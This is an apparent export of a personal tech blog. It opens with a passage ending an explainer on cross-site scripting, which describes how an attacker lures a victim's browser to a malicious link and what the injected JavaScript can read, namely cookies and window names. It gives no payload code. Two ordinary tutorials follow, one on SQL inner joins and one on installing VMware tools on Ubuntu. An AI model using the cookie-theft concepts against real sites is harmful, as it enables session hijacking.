<li>The attacker sends an email containing an HTML page that forces the browser to access the link. This requires the victim use the HTML enabled email client, and the HTML viewer at the client is the same browser used for accessing www.vulerable.site.</li>
<li>The client visits a site, perhaps operated by the attacker, where a link to an image or otherwise active HTML forces the browser to access the link. Again, it is mandatory that the same browser be used for accessing this site and www.vulerable.site.</li>
</ol>
The malicious Javascript can access:<br />
<br />
<br />
<ol style="text-align: left;">
<li>Permanent cookies of ( www.vuerable.site) maintained by the browser.</li>
<li>RAM cookies (of www.vulerable.site) maintained by this instance of the browser, only whenit is currently browsing www.vulnrable.site.</li>
<li>Names of other windows opened for www.vulnrable.site</li>
</ol>
<br />
<br />
<br />
<br />
<br />
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
</div>
Anonymoushttp://www.blogger.com/profile/01814906484233171847noreply@blogger.com0tag:blogger.com,1999:blog-3959192556311236046.post-38658314005063489052016-01-31T10:22:00.001-08:002016-02-02T21:58:33.781-08:00SQL Inner Join<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: left;">
<a href="http://2.bp.blogspot.com/-UD2ij_TO54A/Vq5IFYh3NPI/AAAAAAAACKQ/KtRE6FaWgXQ/s1600/images.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-UD2ij_TO54A/Vq5IFYh3NPI/AAAAAAAACKQ/KtRE6FaWgXQ/s1600/images.jpg" /></a></div>
<blockquote class="tr_bq" style="text-align: left;">
No doubt that one of the most common programming questions of all time is <b>What are SQL joins? </b>and what so ever. </blockquote>
In this article i will try my very best to explain what a SQL inner join is. <span style="background-color: #cccccc;">Basically an inner SQL join is used to combine all rows of two tables where the condition is met.</span><br />
<br />
<br />
<br />
The common syntax of an inner SQL join is as below<br />
<br />
<div style="text-align: left;">
<span style="background-color: #cccccc;"><span style="font-family: "consolas" , "courier new"; font-size: 16px; line-height: 22.4px;">SELECT </span><span style="box-sizing: border-box; font-family: "consolas" , "courier new"; font-size: 16px; line-height: 22.4px;">column_name(s)</span></span></div>
<span style="background-color: #cccccc;"><span style="font-family: "consolas" , "courier new"; font-size: 16px; line-height: 22.4px;">FROM </span><em style="box-sizing: border-box; font-family: Consolas, 'courier new'; font-size: 16px; line-height: 22.4px;">table1</em><span style="font-family: "consolas" , "courier new"; font-size: 16px; line-height: 22.4px;">INNER JOIN </span><span style="box-sizing: border-box; font-family: "consolas" , "courier new"; font-size: 16px; line-height: 22.4px;">table2</span><span style="font-family: "consolas" , "courier new"; font-size: 16px; line-height: 22.4px;">ON </span><span style="box-sizing: border-box; font-family: "consolas" , "courier new"; font-size: 16px; line-height: 22.4px;">table1.column_name</span><span style="font-family: "consolas" , "courier new"; font-size: 16px; line-height: 22.4px;">=</span><span style="box-sizing: border-box; font-family: "consolas" , "courier new"; font-size: 16px; line-height: 22.4px;">table2.column_name</span><span style="font-family: "consolas" , "courier new"; font-size: 16px; line-height: 22.4px;">;</span></span><br />
<span style="background-color: white; font-family: "consolas" , "courier new"; font-size: 16px; line-height: 22.4px;"><br /></span>
<br />
So guys the very first thing is that lets suppose we have two tables. Table 1 is <b>ORDERS</b> and Table 2 is <b>CUSTOMERS </b>Both of the tables are given below.<br />
<br />
<br />
A section from <b>CUSTOMERS</b> table is<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/--9bzMmiypN8/Vq5Kiu-vtYI/AAAAAAAACKc/ZG0OA28Q0wM/s1600/cust.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="166" src="http://3.bp.blogspot.com/--9bzMmiypN8/Vq5Kiu-vtYI/AAAAAAAACKc/ZG0OA28Q0wM/s640/cust.PNG" width="640" /></a></div>
A section from <b>ORDERS </b>table is<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-cWYrVz7unWo/Vq5K7fkVlmI/AAAAAAAACKk/NJIgTBSJjhI/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="115" src="http://2.bp.blogspot.com/-cWYrVz7unWo/Vq5K7fkVlmI/AAAAAAAACKk/NJIgTBSJjhI/s640/Capture.PNG" width="640" /></a></div>
<br />
Now if we observe both tables closely we can see that there is a connection between the two the <b>"CustomerID"</b> in the <b>CUSTOMERS(Primary key) </b> table is acting as a <b>Foreign Key </b>in the <b>ORDERS </b>table. Now to begin with query of joins on these tables we should write as<br />
<br />
<div style="text-align: left;">
<span style="background-color: #cccccc;"><span style="font-family: "consolas" , "courier new"; font-size: 16px; line-height: 22.4px;">SELECT Customers.CustomerName, Orders.OrderID</span></span></div>
<span style="background-color: #cccccc;"><span style="font-family: "consolas" , "courier new"; font-size: 16px; line-height: 22.4px;">FROM Customers</span><span style="font-family: "consolas" , "courier new"; font-size: 16px; line-height: 22.4px;">INNER JOIN Orders</span><span style="font-family: "consolas" , "courier new"; font-size: 16px; line-height: 22.4px;">ON Customers.CustomerID=Orders.CustomerID;</span></span><br />
<br />
<br />
The result would be all the rows meeting the condition as shown below:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-Dt85LHGc1OA/Vq5QOu2RYjI/AAAAAAAACK0/jhWI7b6-frk/s1600/res.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="160" src="http://3.bp.blogspot.com/-Dt85LHGc1OA/Vq5QOu2RYjI/AAAAAAAACK0/jhWI7b6-frk/s640/res.PNG" width="640" /></a></div>
<br />
<br />
Remember a join always return the data "rows" and not the "columns" this is the mistake most guys make and expect the same number of columns.<br />
<br />
I hope you like the article and its of use to you dont forget to share your views as i will highly appreciate them Thanks!.<br />
<br />
<br /></div>
Anonymoushttp://www.blogger.com/profile/01814906484233171847noreply@blogger.com0tag:blogger.com,1999:blog-3959192556311236046.post-57448653549004256082016-01-30T04:47:00.002-08:002016-01-30T04:51:07.274-08:00How to install VMware tools in Linux (Ubuntu Gnome 15 Wiley Werewolf)<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-jmsIxV0PM7s/VqyvP7eYBNI/AAAAAAAACJo/gFBaFSQIL40/s1600/ubuntu-15-10-teaser-300x275.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="183" src="http://3.bp.blogspot.com/-jmsIxV0PM7s/VqyvP7eYBNI/AAAAAAAACJo/gFBaFSQIL40/s200/ubuntu-15-10-teaser-300x275.jpg" width="200" /></a></div>
<div class="MsoNormal">
<span style="background: white; color: #1a1a1a; font-family: Arial, Helvetica, sans-serif;">This article is for installing tools in any linux
distribution.<o:p></o:p></span></div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<div class="MsoNormal">
<span style="background: white; color: #1a1a1a; font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div class="MsoNormal">
<span style="background: white; color: #1a1a1a; font-family: Arial, Helvetica, sans-serif;">After installing Ubuntu guest OS in VMware Workstation, login
to Ubuntu guest machine and update the systems. It’s better to update the
systems prior to installing the guest tool. It’s not required to update Ubuntu
first, but it makes things easier when installing the tool.<o:p></o:p></span></div>
<div class="MsoNormal">
<b><br /></b></div>
<h2 style="text-align: left;">
<b><br /></b></h2>
<h2 style="text-align: left;">
<b><br /></b></h2>
<h2 style="text-align: left;">
<b>Ubuntu Update</b></h2>
<div style="text-align: left;">
<span style="background-color: white; color: #1a1a1a; font-family: Arial, Helvetica, sans-serif; font-size: 12pt; line-height: 21pt;">To
update Ubuntu, run the commands below</span></div>
<div style="text-align: left;">
<span style="background-color: #cccccc; color: #333333; font-family: "consolas"; font-size: 10.5pt; line-height: 107%;"><br /></span></div>
<div style="text-align: left;">
<span style="background-color: #cccccc; color: #333333; font-family: "consolas"; font-size: 10.5pt; line-height: 107%;">"sudo
apt-get update && sudo apt-get dist-upgrade && sudo apt-get
autoremove"</span></div>
<div style="text-align: left;">
<span style="background-color: #999999; color: #333333; font-family: "consolas"; font-size: 10.5pt; line-height: 107%;"><br /></span></div>
<div style="text-align: left;">
<span style="background-color: #999999; color: #333333; font-family: "consolas"; font-size: 10.5pt; line-height: 107%;"></span></div>
<div class="MsoNormal" style="background: white; line-height: 21.0pt; margin-bottom: 21.0pt;">
<span style="color: #1a1a1a; font-family: Arial, Helvetica, sans-serif; font-size: 12.0pt;">Restart
the guest machine.</span></div>
<h2 style="background: white; line-height: 21pt; margin-bottom: 21pt; text-align: left;">
<span style="background-color: whitesmoke;"><b>Installing Tools</b></span></h2>
<div>
<div class="MsoListParagraphCxSpFirst" style="mso-list: l0 level1 lfo1; text-indent: -.25in;">
<!--[if !supportLists]-->1.<span style="font-size: 7pt; font-stretch: normal;"> <span style="background-color: white; font-family: Arial, Helvetica, sans-serif;">
</span></span><!--[endif]--><span style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; font-family: Arial, Helvetica, sans-serif;">First go to
the VMware panel at the top click “VM” and then again click “Install VMware
tools”.<o:p></o:p></span></div>
<div class="MsoListParagraphCxSpLast" style="mso-list: l0 level1 lfo1; text-indent: -.25in;">
<!--[if !supportLists]--><span style="background-color: white; font-family: Arial, Helvetica, sans-serif;">2.<span style="font-size: 7pt; font-stretch: normal;">
</span><!--[endif]--><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial;">After this
is done go to the computer folder and above that you will see the VMware tools
as shown below</span></span></div>
<div class="MsoListParagraphCxSpLast" style="mso-list: l0 level1 lfo1; text-indent: -.25in;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-n9NfworRNRs/VqywkwY94vI/AAAAAAAACJ0/dqX0IRI2mUI/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="275" src="http://3.bp.blogspot.com/-n9NfworRNRs/VqywkwY94vI/AAAAAAAACJ0/dqX0IRI2mUI/s640/1.png" width="640" /></a></div>
<div style="text-align: left;">
<span style="background-color: #999999; color: #333333; font-family: "consolas"; font-size: 10.5pt; line-height: 107%;"><br /></span></div>
<div class="MsoNormal">
<span style="font-family: Arial, Helvetica, sans-serif;">As I have already installed the tools I am getting this
option you will get the one mentioned above.<o:p></o:p></span></div>
<div class="MsoListParagraphCxSpFirst" style="mso-list: l0 level1 lfo1; text-indent: -.25in;">
<!--[if !supportLists]--><span style="font-family: Arial, Helvetica, sans-serif;">1.<span style="font-size: 7pt; font-stretch: normal;">
</span><!--[endif]-->Extract the tools in the tmp directory<o:p></o:p></span></div>
<div class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo1; text-indent: -.25in;">
<!--[if !supportLists]--><span style="font-family: Arial, Helvetica, sans-serif;">2.<span style="font-size: 7pt; font-stretch: normal;">
</span><!--[endif]-->Open a terminal Window by pressing CTRL + ALT +
T<o:p></o:p></span></div>
<div class="MsoListParagraphCxSpLast" style="mso-list: l0 level1 lfo1; text-indent: -.25in;">
<!--[if !supportLists]--><span style="font-family: Arial, Helvetica, sans-serif;">3.<span style="font-size: 7pt; font-stretch: normal;">
</span><!--[endif]-->Access the target directory<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-left: .25in;">
<span style="font-family: Arial, Helvetica, sans-serif;">Cd
/tmp/<span style="background: whitesmoke; color: #333333; font-size: 10.5pt; line-height: 107%;">vmware-tools-distrib<o:p></o:p></span></span></div>
<div class="MsoListParagraphCxSpFirst" style="mso-list: l0 level1 lfo1; text-indent: -.25in;">
<!--[if !supportLists]--><span style="font-family: Arial, Helvetica, sans-serif;">4.<span style="font-size: 7pt; font-stretch: normal;">
</span><!--[endif]-->Execute installation Script <o:p></o:p></span></div>
<div class="MsoListParagraphCxSpMiddle">
<span style="font-family: Arial, Helvetica, sans-serif;">./vmware-install.pl<o:p></o:p></span></div>
<div class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo1; text-indent: -.25in;">
<!--[if !supportLists]--><span style="font-family: Arial, Helvetica, sans-serif;">5.<span style="font-size: 7pt; font-stretch: normal;">
</span><!--[endif]-->Choose all the default Settings <o:p></o:p></span></div>
<span style="background-color: #999999; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 10.5pt; line-height: 107%;">
</span><br />
<div class="MsoListParagraphCxSpLast" style="mso-list: l0 level1 lfo1; text-indent: -.25in;">
<!--[if !supportLists]--><span style="font-family: Arial, Helvetica, sans-serif;">6.<span style="font-size: 7pt; font-stretch: normal;">
</span><!--[endif]-->Restart the system and you are ready to go <span style="font-family: "wingdings"; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">J</span></span><o:p></o:p></div>
<h1>
<o:p></o:p></h1>
</div>
Anonymoushttp://www.blogger.com/profile/01814906484233171847noreply@blogger.com1